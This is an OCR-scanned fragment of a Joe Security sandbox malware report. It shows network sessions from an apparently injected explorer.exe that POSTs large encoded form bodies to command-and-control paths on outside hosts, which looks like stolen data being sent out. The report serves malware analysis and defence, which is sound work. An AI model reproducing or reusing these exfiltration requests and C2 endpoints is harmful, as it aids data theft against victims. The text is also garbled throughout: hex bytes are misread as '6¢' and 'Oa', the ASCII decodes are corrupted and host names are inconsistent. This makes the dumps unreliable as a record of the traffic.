VoA~FQSO0GYrAS5w90UXuGc7yEFG(NrCKby8LudQVevrOQNPRrbX2fiK~qiWse(A).

HTTP/1.1 404 Not Found

Server: nginx

Date: Fri, 27 May 2022 15:28:23 GMT

Content-Type: text/html

Content-Length: 146

Connection: close

Data Raw: 3c 68 74 6d 6c 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3¢ 68 31 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6¢ 3e 0d Oa

Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>

Destination IP Destination Port Process

134.122.201.217 80 C:\Windows\explorer.exe

Data

POST /np8s/ HTTP/1.1
Host: www.o70iwlp.xyz
Connection: close
Content-Length: 36482
Cache-Control: no-cache
Origin: http://www.070iwlp.xyz
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.o70iwlp.xyz/np8s/
Accept-Language: en-US
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Accept-Encoding: gzip, deflate

Timestamp kBytes Direction Paka Raw: 63 32 4d 48 36 44 65 50 3d 5a 67 43 72 46 37 33 6a 61 50 59 59 53 4e 31 38 45 41 73 45 48 55 46 30 4e 42

ansiees 7e 48 4f 6d 77 32 6e 56 47 4e 31 43 59 49 28 54 62 6e 6d 6b 44 48 62 73 31 43 6d 53 36 51 56 73 47 33 36 34 56 46 57

4d 57 38 68 35 30 49 6f 70 71 35 41 32 46 35 33 45 63 76 55 51 44 37 31 34 38 47 54 4e 67 6¢ 35 6e 4c 31 45 71 59 2d 3
6 2d 6e 5f 50 59 76 4c 52 75 30 4d 30 44 58 46 67 71 63 32 43 73 77 4151 62 55 75 72 73 73 4f 51 53 36 51 7a 78 54 46
6¢ 50 64 63 5a 43 45 41 5a 45 6a 36 33 7a 41 66 30 63 46 4b 6d 72 6b 6a 28 30 63 4c 71 74 4b 4b 61 38 4d 4a 30 5f 72
65 48 32 4c 46 45 5f 52 36 43 4a 61 59 5a 79 57 73 69 4a 75 34 39 74 4b 52 33 76 35 73 6f 79 51 6e 38 73 63 63 72 79
5551 50 70 4d 55 4c 74 51 48 49 72 33 51 62 72 54 63 57 54 42 33 41 34 7e 4c 43 46 59 67 55 45 4a 72 70 4e 33 48 31
5f 28 30 30 44 6¢ 69 34 73 37 56 67 68 62 76 6b 59 6a 5f 74 6a 35 52 6e 53 58 61 79 78 7e 70 4a 51 65 30 6b 32 46 77
6a 38 32 65 30 56 74 4f 76 6f 6d 36 78 66 37 6a 28 46 4d 51 55 36 77 58 6¢ 49 64 64 78 63 7e 59 56 41 66 39 64 42 4d
56 71 77 7e 46 65 79 31 41 57 4c 4d 43 35 77 6¢ 4b 55 53 72 39 63 4b 32 45 45 54 6a 4e 71 6e 7e 62 78 4d 4c 75 52 77
56 4f 70 36 41 62 62 64 31 55 57 6b 69 55 6e 66 58 76 68 6e 64 67 76 4f 32 75 7e 4b 4c 50 48 31 58 54 68 7a 35 30 71
5050 6a 67 52 70 55 63 73 4f 49 39 46 30 54 31 41 79 4b 56 64 58 46 43 52 6d 4e 4c 49 53 46 71 57 6f 73 4b 5f 75 71 4c
2d 66 37 79 6b 39 50 73 61 51 75 68 4f 39 4e 55 4f 7e 44 42 47 6a 30 77 6f 57 72 77 77 5a 62 35 35 35 2d 41 71 71 4e
55 72 35 56 50 6b 70 48 6d 68 74 2d 58 6¢ 39 5f 53 5a 51 65 78 34 73 33 79 75 77 43 36 6d 56 70 51 6a 35 4a 61 55 4b
67 39 56 4d 57 28 46 64 38 6¢ 2d 53 4e 4d 4a 7e 55 69 56 6d 37 32 52 7a 64 6b 71 52 69 6d 66 43 6e 76 39 73 44 54 43
49 6d 72 78 49 64 31 4b 51 69 6d 47 71 65 59 41 50 31 55 36 53 66 79 36 78 7a 67 76 46 52 56 73 32 57 46 62 74 67 57
77 4e 52 65 51 41 6e 69 72 34 70 73 47 6a 55 6¢ 6f 4f 48 43 63 65 63 53 5f 34 68 6d 57 33 48 4b 5a 72 62 6e 38 74 30 36
52 52 46 58 51 6d 35 62 43 46 4c 39 4b 47 42 6b 33 36 48 6f 79 6e 32 67 36 5a 7a 39 42 31 6e 7a 41 49 39 4d 51 73 69
42 78 4f 38 65 2d 6e 48 66 53 79 33 62 35 65 58 49 75 77 46 4d 62 5a 41 36 44 38 69 38 73 31 56 47 32 6f 41 55 71 77
41 69 7a 69 43 77 38 77 6f 7e 6¢ 6e 4c 57 46 37 56 35 69 6¢ 38 39 69 55 6¢ 4d 58 68 62 73 75 32 54 34 4e 56 61 68 57
64 64 34 4f 58 44 41 5a 37 6¢ 62 68 32 6¢ 51 37 47 6f 66 4b 33 47 6a 4d 30 6a 70 72 70 32 52 35 78 76 34 5f 53 57 53 58
37 5f 3854 77 3539 34 55 47 7a 69 61 50 59 6f 57 70 31 58 43 42 4d 42 6f 58 43 71 6e 52 7a 31 4e 64 75 7a 79 69 43
77 45 6¢ 71 54 55 46 46 58 28 43 42 73 63 73 74 6e 76 44 70 61 6a 59 43 64 62 62 61 52 7e 35 36 68 31 69 6d 70 4e 33
70 48 62 49 4a 44 75 45 49 44 4a 54 5a 36 58 72 4f 4f 37 2d 41 47 7e 73 70 6e 52 62 4a 52 6a 51 4d 49 48 78 30 4a 53
2d 6a 4a 7e 4e 28 65 71 76 62 32 56 66 7a 70 39 33 63 50 48 38 4b 4b 58 33 71 4a 4e 6b 78 71 53 33 6d 4e 69 71 53 42
4d 47 6¢ 79 30 77 56 4a 61 71 4e 39 78 59 28 50 64 63 36 64 49 35 4c 51 59 5a 54 62 4e 32 70 4a 49 6¢ 51 62 77 64 4d
715377 38 6f 72 6¢ 4c 35 67 79 33 42 28 46 55 70 6e 38 37 5f 55 6d 30 58 37 75 7a 5a 44 6a 69 36 31 4e 72 5f 7e 35 3
2327269 4c 6f 42 74 63 74 6f 34 6b 5f 6e 58 37 2d 49 54 42 4d 38 4c 4a 49 37 48 6¢ 4e 61 6e 74 46 4b 2d 6d 4d 7a 6a
313667 67 7358 44 30 51 41 58 78 69 47 49 70 33 55 75 70 28 56 66 51 36 35 67 78 6a 65 67 43 30 38 35 53 4b 58 33
7058 42 30 58 79 47 4f 65 6a 69 77 55 7a 30 4f 6a 4f 71 62 71 6b 7a 4e 3248 7a 77 64 73 71 34 61 64 3265 37 76 78
52 52 6b 73 46 52 34 64 57 45 7a 49 36 45 28 6e 4a 6¢ 6e 35 46 65 4e 6a 6f 44 64 62 39 2d 61 46 41 74 79 42 44 55 74
73 61 59 6e 78 37 31 59 6d 70 5f 59 33 58 73 32 75 78 4f 4f 34 31 53 57 34 6f 2d 32 4e 54 70 63 78 52 33 78 36 36 59 5a
3853 7a 6e 6f42 77 64 46 79 36 76 33 78 6¢ 46 5a 53 31 77 76 6e 74 75 32 77 62 33 41 72 43 6e 69 57 43 71 59 55 6e
58 35 34 36 47 51 28 52 4b 4a 57 6a 66 50 7e 71 35 67 58 62 34 61 47 6a 52 54 4b 75 63 76 77 4b 48 4e 7e 41 33 74 36
76 78 4a 28 52 53 70 52 65 30 46 36 53 6a 58 70 70 36 64 6d 4f 68 64 32 6b 45 36 50 61 4a 61 77 44 7e 5a
Data Ascii: c2MH6DeP=ZgCrF73jaPYYSN18EASEHUFONB~HOmMw2nVGN1CYI(ThnmkDHbs1CmS6QVsG
364VFWMW8h50lopg5A2F53EcvUQD7148GTNgI5nL1EqQY-6-n_PYVLRUOMODXFgqc2CswAQbUurssOQS6QzxTFIPdcZ
CEAZE|63zAfOcFKmrkj(OcLqtKKa8MJ0_reH2LFE_R6CJaYZyWsiJu49tKR3v5soyQn8sccryUQPpMULIQHIr3QbrT
CcWTB3A4~LCFYgUEJrpN3H1_(00DIi4s7VghbvkY]_tjsRnSXayx~pJQe0k2Fwj82e0VtOvom6xf7j(FMQUBEwWXIIddx
c~YVAf9dBMVagw~FeylAWLMC5wIKUSr9cK2EETjNgn~bxMLURWVOp6Abbd1UWkiUnfXvhndgvO2u~KLPH1XThz50qPP
jgRpUcsOI9F0T1AYKVAXFCRMNLISFqWosK_ugL-f7yk9PsaQuhO9NUO~DBGjowoWrwwZb555-AqgNUr5VPkpHmht-X
19_SZQex4s3yuwCbmVpQj5JaUKgIVMW (Fd8I-SNMJI~UiVm72RzdkqRimfCnvIsDTCImrxld1KQimGge YAP1U6Sfy6x
zgvFRVs2WFbtgWwNReQAnir4psGjUloOHCcecS_4hmW3HKZrbn8t06RRFXQm5bCFLIKGBk36Hoyn296Zz9B1nzAI9M
QsiBxO8e-nHfSy3b5eXIuwFMbZA6D8i8s1VG20AUqwAiziCw8wo~InLWF7V5il89iUIMXhbsu2T4NVahWdd4OXDAZ7
Ibh21Q7GofK3GjMOjprp2R5xv4_SWSX7_8Tw594UGziaPYoWp1XCBMBoXCqnRz1NduzyiCWEIqTUFFX(CBscstnvDp
ajYCdbbaR~56h1impN3pHblIDUEIDITZ6XrO07-AG~spnRbIR|QMIHX0JS-jJ~N(eqvbh2Vfzp93cPHBKKX3qINkxqS
3mNigSBMGIlyOowVJagN9IxY (Pdc6dI5LQYZTbN2pJIIQbwdMgSwa8orlL5gy3B(FUpn87_UmOX7uzZDji61Nr_~522riL
oBtctodk_nX7-ITBM8LJI7HINantFK-mMzj16ggsXDOQAXXiGIp3Uup(VfQ65gxjegC085SKX3pXB0OXyGOejiwUz00
jOgbgkzN2Hzwdsg4ad2e7vxRRksFR4dWEzI6E(nJIn5SFeNjoDdb9-aFAtyBDUtsaYnx71Ymp_Y3Xs2uxO041SW40-2
NTpcxR3x66YZ8SznoBwdFy6v3xIFZS1wvntu2wb3ArCniWCqYUnX546GQ(RKIWjfP~g5gXb4aGjRTKucvwKHN~A3t6
VvxJ(RSpRe0F6SjXpp6dmOhd2kE6PaJawD~Z0cS5sPmKRPE3921-5luPcX4XuffUBtHIBX08ES0_jaAeeeVo7Kr7V69iV-
KMZjf6~ZiCHkseSYP9BzIZdx50NWAKDL38LVXIrOKWCInwmt7TCWxidoc501ICeKtuWzyB9QBud3LftkPEGcSy(
IBKWWMa7449b8NSnENQH;jYdZJ2iWCXDRPOsyabwNOeppvwDWZXDMaMeq_cp02BnUyYstAXm5bIAgfQgQ
9cb4Vi6AScabzLUCO9TalpBb6PIkOJFA_eVjj6E2BwesDaCriMAhXKINZpPxu4XDg9GVBVLNYNIXHOb5mOIm28tcJD
4QqXdCKmrR1IXwDXscFILNJ_cjaCSvQTbZulL3cGaNxU_pUx8I2WsIAf06Jkxv5bqUdn6N1~CULGqQyekRwmveTk3XYH
P9jm_GX38(3K3Jg30TxV-QLtXQusHom(NrNgOKzEFT0O4tFnjGgzIGKtKSrHyQs7k8Pb2~T4cgzcGmROWXgplmaer8
sw6ntk2YIKi7l~uu_HDx8WwMtlhQIKzgzANjtKOLMOdizPNnbSbaOIF4_jOUqSgFZU5XbwZXa2cVpt27ZTAI12p5-Q
i39WGZsQSeZeQcAEOaOh_hxwPzYEqgxYbVmtCNUoz1gEWV5vD73vpTtiqY T8FemWKcu3txQCKaYDMN~-Q
hpH7WXTYLysmvEmACjxNV2YIDe1Z50Vkr3DNu3ufncFoGVtDqOTjFzcq44W(-V700Mvpp85gNOIXP2cXQiRgS56Lp0
_ezwRYucyuRGS3I2rvs(8vtm3YgPjvPgYleC7MBhIUOIOMQm9zDD-ZHu6l5tdpBt_9lgOac9QoLBivBDbILBSeyI7m
h34ffQ3WwaVKdV4oX(U(2idu77k(r4Y46260fR4SxZAZBx0SIkth6cE15JjunjlogSG20SeKcCZQuLKT8VYOuBP2yP
tg8PiIKoBNNTscxgpop2HydKox(QIhEo5CxQdU7hcJiDnu9i3HniIsFVfceiEgGGVPZfeyUAL9VweCtt8tG4k0BaKrgl
WDx3AWd6z3fNQ5mfIPKyXIjYfzpCYy6iRTZE_WQIWwWOBegAINndAtKGbK80xzTR1gkbzATIR49qg5T1TmvGHUCTDZz69
mx50PmMKCDI7fEFI[JKRD90-AlbggEPS81968J8xns1UIIN9IV41vIxnOKPmIdPFtZCkr-OomrTScuGUx4la2CLGicp
8r79q(XFlycDxLd~-GBAyjQ~tUbnHipCsPcPCvrTKSLNHd452g6b2qflIElakin_PROqgzADpDqdU(_DiAChncvjQ3mw
UTACM8ynWbNd4TiPKVV5zTRBbnd1GIICX7ehCf1AWp9t4JIp(gZ00g2aEdI3xIFTK95QLowkBXxCOg6PL~RQP7E9Z1XO
EnXM0069p7LCIPVRXKfggRNwEMXyQqDOdQpRwTr3gMkbyUJvnY OBV4dtcyzzMNZ9EHpvxeWy3dqFAIl-bAp-s-E3q8M
54sPYEzzYZVMimbcFnXFEZ3kFY5JbCczo5R~7A9u5~FV0B8rP6c5WSmk8kmlbn2ZLvH(IzZ3ceS4Wswoa-5MAIuHBhn
pJ9wfUQMOdj3HizDNKDNn3jyGBNt4PKb2MWV09EVqZM3-khmwlIM42ECy33sICM2lie9sbo5ILHGuna9Q7ANK9woy8
CpligP4j26mFjo3imkaRoKKeg7gmTWelkZdrG6admFKT97mOAGIZtKHxzj7t_LXhsQO1hgeK5E7ZegX8ImStFMkwvC
hnfHhZgXtGO~pba~ZFM7Qq4gucWWugEOIShMu09G81S4HUtO3XSXhtpmpillEOEWWKIBCTG(YxyoLhtXZ(9NGertUe
rmwGEcmTIX9WRih8AyJbM8SINvxkvdkzXgvrmy9CaFvwaVsOyy8313-gN4jaLMLEO8ZLLb25fpKgVBdUEpti62ralL.W
bYICIJ7gexYPb6EPNAbY OWRwrLOW-fyCO37gH8M1iArWB0heQL5p9JF7ULqdWTRIIOXWUIut2Quy9RKNOu4TE4e073
kD2ZHUgXj8HBO0-00hW1fAKZkpzxnwinAfMpldQw4Ha2uVG(Mo4z9S5dqqgtY 6bw5AkQ3vXmav_iIK6ANVNOIOTOiek
72PEVjAu3C00OR6b21wvUoEye3ylvLodYIObWIG7Mi(MQBIqzfiSSIF_6TqlUgRsbWemUgHj5YRXdFx7Zzx8Jh79JuX
s~5jk6k3sZPD74PDRZ10dghzqgrC5AIE-BuKwNdkrk1KTglt0J-xbytjgpQcOp-fF4Kx4WS~0vht9u4AVoT4sLmMg2
m30KkIZIfghEULNzAIKLWi8vw01g00im85(IEYi3SZQEN0AeDU087108G755GeY pQk2jPJUkyfhHVSNVrOZIDjsemQT
FlksDRInvupCZpv6NHC0a445FBAW7VIIIN4USyt4ZsMErNtuXIsbZfBOmSdCjsT8alEMA44bQ8iGXIZmaVH2QaWBXI
S4yybgMXrS6pdM5(AUYrvX2zJqog4SDK5trXVsi3c7K72e7qgicmsot3f7VPgxYRDtmk208AzFbyh1k8g3t8lqve1Cf
ALNJCWFOKUPOYEFR8FgYXaJWU03244ZLb2ZrDiDuia89Y9hR91csuNISD11s1AyUOijbhygNvtiVRIDpEGNgI03cQw
6dF8pdLWN7xX1INBPhOIVrISJIRnvyLISOz1j35Cj4mgTmYG8eg5a4VXH5THOgOt45vY CLFOVVRGEJA
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Timestamp Direction Data
transferred
May 27, 2022 7960 IN HTTP/1.1 404 Not Found
17:28:23.757885933 Server: nginx
CEST Date: Fri, 27 May 2022 15:28:23 GMT
Content-Type: text/html
Content-Length: 146
Connection: close
Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d Oa 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d Oa
Data Ascii: <html><head><title>404 Not Found</tite></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html|>
Session ID Source IP Source Port Destination IP Destination Port Process
17 192.168.2.3 49845 134.122.201.217 80 C:\Windows\explorer.exe
Timestamp e Direction Data
transferred
May 27, 2022 7952 ouT GET /np8s/?c2MH6DeP=Wi2RbeLHGdcMG/4zbWZrHjxVNTurLVF13zSFjScR2hfe23]ELpoygCvTVMXCwbd5YdLw&h
17:28:23.735454082 FQL=JXUhrvXxUhF4 HTTP/1.1
CEST Host: www.o70iwlp.xyz
Connection: close
Data Raw: 00 00 00 00 00 00 00
Data Ascii:
May 27, 2022 7977 IN HTTP/1.1 404 Not Found
17:28:23.930135012 Server: nginx
CESIl Date: Fri, 27 May 2022 15:28:23 GMT
Content-Type: text/html
Content-Length: 146
Connection: close
Data Raw: 3c 68 74 6d 6¢ 3e 0d Oa 3c 68 65 61 64 3e 3c 74 69 74 6¢ 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f
74 69 74 6¢ 65 3e 3c 2f 68 65 61 64 3e 0d Oa 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20
4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69
6e 78 3c 2f 63 65 6e 74 65 72 3e 0d Oa 3c 2f 62 6f 64 79 3e 0d Oa 3c 2f 68 74 6d 6¢ 3e 0d 0a
Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><c
enter>nginx</center></body></html>
Session ID Source IP Source Port Destination IP  Destination Port Process
18 192.168.2.3 49876 137.220.133.198 80 C:\Windows\explorer.exe
Timestamp Ly Direction Data
transferred
May 27, 2022 8504 ouT POST /np8s/ HTTP/1.1
17:28:29.485685110 Host: www.ratebill.com
CEST Connection: close
Content-Length: 414
Cache-Control: no-cache
Origin: http://www.ratebill.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.ratebill.com/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 63 32 4d 48 36 44 65 50 3d 42 43 6b 47 48 6¢ 45 74 28 69 41 49 73 62 79 4d 43 49 54 4c 48 75 7e 4f 39 6b 6b
734530 56 74 4f 75 70 6b 66 30 4b 53 4e 56 55 4e 73 74 44 44 57 6f 44 62 48 6d 4e 42 7e 67 72 55 72 68 4f 4a 67 36
78 7178 43 75 38 65 42 61 63 38 68 54 6f 54 65 61 79 54 37 36 31 44 70 78 70 44 74 4f 6e 71 7a 54 45 6f 4c 64 56 68
54 72 38 70 76 45 67 50 59 7e 4f 39 69 38 61 6a 30 68 37 28 39 6d 56 55 5a 5a 70 74 47 6b 49 77 45 44 5a 74 45 39 49
78 42 67 41 37 5f 33 38 6¢ 62 4d 75 41 4b 67 7a 67 42 4c 65 68 55 5a 4e 57 57 48 6f 4d 51 6a 6d 44 5f 5a 52 72 47 35 70
28 75 7e 36 4a 46 43 63 32 53 39 46 64 52 4a 76 76 39 62 33 72 45 69 56 4e 65 28 51 6¢ 38 75 64 41 5f 6d 74 72 38 72
4a 39 63 48 4c 4b 4a 38 6a 78 34 55 53 45 4c 70 6b 58 55 62 5f 73 57 72 32 6e 44 38 39 72 47 6¢ 30 6f 4d 4b 33 63 38
55 64 75 43 36 55 45 75 42 4d 45 34 54 7a 67 5a 69 4f 77 39 4d 7a 67 51 45 66 46 51 7a 34 62 4d 31 32 55 4b 6d 32 36
67 65 51 4a 56 44 47 78 65 59 6¢ 75 66 69 70 4e 61 32 33 31 73 57 39 4e 4a 54 77 6f 48 78 72 61 4f 79 6¢ 38 49 72 35
7045 7a 6¢ 71 45 76 79 45 43 4e 6¢ 4e 41 39 77 68 49 6f 54 48 44 Te 72 4e 34 37 4a 39 4d 36 5f 37 45 38 6¢ 42 4a 48
6e 35 31 49 4e 41 42 6d 73 4a 45 55 4f 6a 64 4c 4e 63 43 6e 30 38 67 29 2e 00 00 00 00 00 00 00 00
Data Ascii: c2MH6DeP=BCkGHIEt(iAlsbyMCITLHu~O9kksEOVtOupkfOKSNVUNstDDWoDbHmMNB~grurhOJgéxgx
CuB8eBac8hToTeayT761DpxpDtOngzTEoLdVhTr8pvEgPY~09i8aj0h7(9mVUZZptGKIWEDZtE9IXBgA7_38lbMuAKg
zgBLehUZNWWHoMQjmD_ZRrG5p(u~6JFCc2S9FdRJIVVIb3rEiVNe(QI8udA_mtr8rJ9cHLKI8jx4USELpkXUb_sWr2n
D89rGI0o0MK3c8UduC6UEUBMEA4TzgZiOwIMzgQEfFQz4bM12UKm26geQJIVDGxeY lufipNa231sWINJITwoHxraOyl8Ir
5pEzIgEvyECNINA9WhIOTHD~rN47J9M6_7E8IBJHN51INABmMSJEUOjdLNcCN08g).
Session ID Source IP Source Port Destination IP Destination Port Process
19 192.168.2.3 49880 137.220.133.198 80 C:\Windows\explorer.exe
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Timestamp A Direction
May 27, 2022 8565 ouT
17:28:29.854491949

CEST

Copyright Joe Security LLC 2022

Data

POST /np8s/ HTTP/1.1
Host: www.ratebill.com
Connection: close
Content-Length: 36482
Cache-Control: no-cache
Origin: http://www.ratebill.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko
Content-Type: application/x-www-form-urlencoded
Accept: */*
Referer: http://www.ratebill.com/np8s/
Accept-Language: en-US
Accept-Encoding: gzip, deflate
Data Raw: 63 32 4d 48 36 44 65 50 3d 42 43 6b 47 48 6e 51 37 78 32 77 56 78 62 50 73 57 65 58 66 50 5f 75 4d 78 30 6f
6a 6147 51 74 4b 61 74 61 41 68 32 6a 63 67 51 62 6f 64 65 54 53 75 58 54 48 6e 38 6¢ 77 7a 50 75 76 42 4b 4b 67 37
56 5578 43 71 38 66 41 79 4d 38 47 66 4f 55 38 69 39 52 62 36 4a 45 70 77 76 56 63 53 4b 71 7a 57 52 6f 4c 45 4b 68
6a 48 38 6f 4e 38 67 4a 5a 7e 4a 69 53 38 44 67 30 52 6e 37 39 72 48 55 5a 42 68 74 43 6b 49 78 30 50 5a 33 6b 74 4a
6d 57 4d 44 6a 5f 32 58 7a 4c 4d 4e 4f 71 6¢ 41 67 42 48 77 68 52 35 4e 57 41 76 6f 44 67 44 6d 49 75 5a 53 7e 6d 35 73
73 2d 7e 6a 4e 46 50 45 32 53 52 5a 64 56 52 56 75 49 62 33 6¢ 55 69 59 63 5f 37 75 75 39 75 30 43 5f 53 61 72 39 58
6b 39 4e 71 59 4b 4c 35 47 6e 36 4d 70 59 2d 31 65 58 52 4c 42 76 32 71 5f 76 6a 38 71 72 47 6¢ 45 6f 4d 4b 5a 63 39
6b 64 75 44 79 55 46 49 46 4d 48 61 36 6¢ 76 5a 69 4c 71 4e 4d 72 7e 67 5a 75 46 51 71 6d 62 4d 39 49 55 37 69 32 37
455351 6533 7248 77 75 59 6a 67 5f 69 67 66 61 32 34 31 73 57 4c 4e 49 53 74 76 30 31 72 49 76 79 6¢ 73 61 44 35
6c 55 7a 6¢ 6d 6b 76 77 4c 69 42 50 4e 41 31 38 68 49 5a 6d 48 77 53 72 49 36 44 4a 7a 4a 61 5f 34 30 38 6¢ 4f 70 48
35323052 42 47 77 75 5f 4c 6e 30 44 70 61 43 36 53 47 76 5f 67 75 48 56 41 34 78 5a 4d 6f 70 2d 31 65 47 35 79 72 55
52 3354 56 69 4b 78 7e 4c 75 5f 35 4d 67 6d 58 36 43 58 69 31 38 4b 52 4e 73 48 6f 56 49 73 4b 46 4c 4a 68 42 68 73
31 4f 58 6f 7e 67 76 53 53 77 55 65 68 52 71 73 71 67 49 58 32 5a 4e 6b 77 6¢ 7a 69 43 6b 52 6¢ 49 77 39 61 45 43 55
617a304150 70 73 4157 70 47 6d 55 64 39 74 53 44 33 54 6e 74 38 6a 63 58 43 41 78 6e 48 47 63 4c 30 54 63 69 53
68 64 4d 6f 31 44 5557 64 51 71 41 54 41 53 63 7e 74 7e 69 77 59 47 46 4a 76 32 79 68 41 6b 6e 41 76 58 5a 73 57 28
4b 53 71 57 4d 64 68 57 78 4f 59 6¢ 74 5a 30 55 41 71 48 45 6f 46 73 76 74 6¢ 6a 54 31 43 71 7a 2d 50 6b 53 4f 28 4c 47
74 65 34 41 6e 39 66 6d 4d 69 71 79 52 68 6¢ 6f 42 6e 36 56 74 76 6a 7e 47 7a 75 69 6e 78 54 58 78 61 4d 64 54 36 47
62 35 36 4b 63 57 49 49 62 74 28 37 5a 4f 79 71 71 68 57 67 5a 4c 6¢ 6b 75 77 44 32 66 78 70 37 31 51 68 61 74 41 6a
2d 4f 6¢ 4b 38 30 67 74 31 7e 54 77 70 42 61 47 69 61 53 50 74 36 41 63 41 35 32 36 2d 63 38 28 67 7a 43 41 76 6a 49
4c 69 78 51 61 33 43 6f 6a 6e 4b 64 5a 59 50 4d 46 45 6e 50 73 74 63 36 28 61 48 73 73 66 4b 68 45 30 53 79 59 4b 28
31 66 55 55 55 38 66 57 4c 6d 34 70 63 71 47 39 6f 36 5f 4a 39 75 2d 76 5a 45 6a 4e 33 37 61 4a 4a 69 75 46 74 38 5f 79
6d 73 6e 54 4b 78 67 66 2d 58 63 44 6d 56 39 4b 61 43 74 47 51 76 58 38 55 65 71 79 69 59 52 75 4a 4e 4f 32 43 4e 67
79 4e 6¢ 69 59 64 65 4c 79 4a 35 4e 37 58 55 31 72 66 4a 39 35 39 38 30 4f 36 4d 36 75 35 42 76 6b 41 53 46 55 35 61
4e 7e 50 6d 69 65 59 55 77 75 50 64 33 30 6f 47 50 68 2d 30 73 30 37 42 37 58 62 36 5f 6e 4d 51 47 6¢ 5f 58 6b 78 4c 5a
4d 76 53 71 61 48 75 50 6a 49 79 38 70 45 6e 46 38 50 70 67 36 58 7a 41 66 7e 74 50 55 63 5a 54 56 4b 6f 6a 37 7a 5a
56 30 6¢ 30 75 78 51 2d 7e 67 74 61 6a 6a 47 7a 55 55 76 42 59 6b 55 66 53 59 39 73 4c¢ 30 34 70 7e 48 6a 57 61 30 78
72 6e 30 5a 4c 45 55 46 59 79 41 4e 6a 37 62 65 67 6b 32 50 4b 79 48 68 36 62 31 62 4a 69 54 4a 6d 59 67 44 4e 46 71
76 55 75 31 45 4f 6d 46 53 74 4d 59 38 57 37 67 72 4c 72 61 39 62 69 44 56 2d 75 74 67 47 4e 69 42 6¢ 33 6e 52 37 34
4d 51 75 48 67 6e 68 32 43 34 4a 38 76 6¢ 6b 48 2d 73 66 51 2d 76 78 69 4b 43 70 53 46 41 6f 79 59 73 73 79 51 57 4b
4b 54 61 76 79 35 35 31 69 59 62 75 58 4d 6b 4c 52 5a 78 45 6e 5f 61 49 63 39 65 6b 72 42 35 43 4e 59 5a 4e 74 68 59
74 7e 72 51 47 42 2d 63 47 56 33 75 62 50 57 70 65 58 4c 48 49 64 4f 72 50 6f 42 70 31 66 72 38 6b 73 61 61 74 57 75
57 54 47 4e 79 62 51 6e 4c 5a 71 64 51 77 35 32 78 37 4a 39 74 6f 4b 6e 7e 56 54 78 32 63 41 55 46 4f 6a 6a 39 6f 32 36
6d 52 51 4f 37 53 46 41 68 4b 38 55 62 58 73 4e 79 34 4a 67 28 31 55 50 58 58 48 71 71 58 34 67 7e 4c 52 5a 31 61 51
45 43 32 6b 78 4d 78 5a 34 64 34 57 4d 68 4f 78 58 73 4c 70 45 4f 53 39 76 5a 74 61 76 58 39 53 4b 47 64 4a 6¢ 57 51
56 33 65 5f 75 64 4b 58 4c 59 4c 73 6¢ 44 67 41 31 58 56 4c 75 75 37 57 75 34 55 69 64 75 41 62 36 46
Data Ascii: c2MH6DeP=BCkGHnQ7x2wVxbPsWeXfP_uMx0ojaGQtKataAh2jcgQbodeTSuXTHN8IwzPuvBKKg7VUx
Cq8fAyM8GfOUBI9RbEJIEpwvVcSKqzWRoLEKhjH80N8gJZ~JiS8DgORN79rHUZBhtCkIxOPZ3ktJImWMDj_2XzLMNOg|
AgBHWhR5NWAvoDgDmIuZS~m5ss-~jNFPE2SRZdVRVulb3IUiYc_7uu9u0C_Sar9Xk9INgYKL5Gn6MpY-1eXRLBv2q_v
j8arGIEoMKZc9kduDyUFIFMHa6lvZiLgNMr~gZuFQqmbM9IU7i27ESQe3rHwuYjg_igfa241sWLNIStvO1rlvylsaD
5lUzImkvwLiBPNA18hIZmHwSrl6DJzJa_408l0pH520RBGwu_Ln0DpaC6SGv_guHVA4xZMop-1eG5yrUR3TViKx~Lu
_5MgmX6CXi18KRNsHoVIsKFLIhBhs10Xo~gvSSwUehRqsqglX2ZNkwiziCkRIIw9aECUazOAPpsAWpGmUd9tSD3Tnt
8jcXCAXNHGcLOTciShdMo1DUWdQATASc~t~iwYGFJIv2yhAknAvXZsW(KSqWMdhWxOYItZOUAgqHEoFsvtljT1Cqz-P
